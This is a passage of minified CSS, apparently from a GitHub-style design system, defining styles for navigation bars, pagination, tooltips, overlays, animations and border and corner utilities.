.bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px 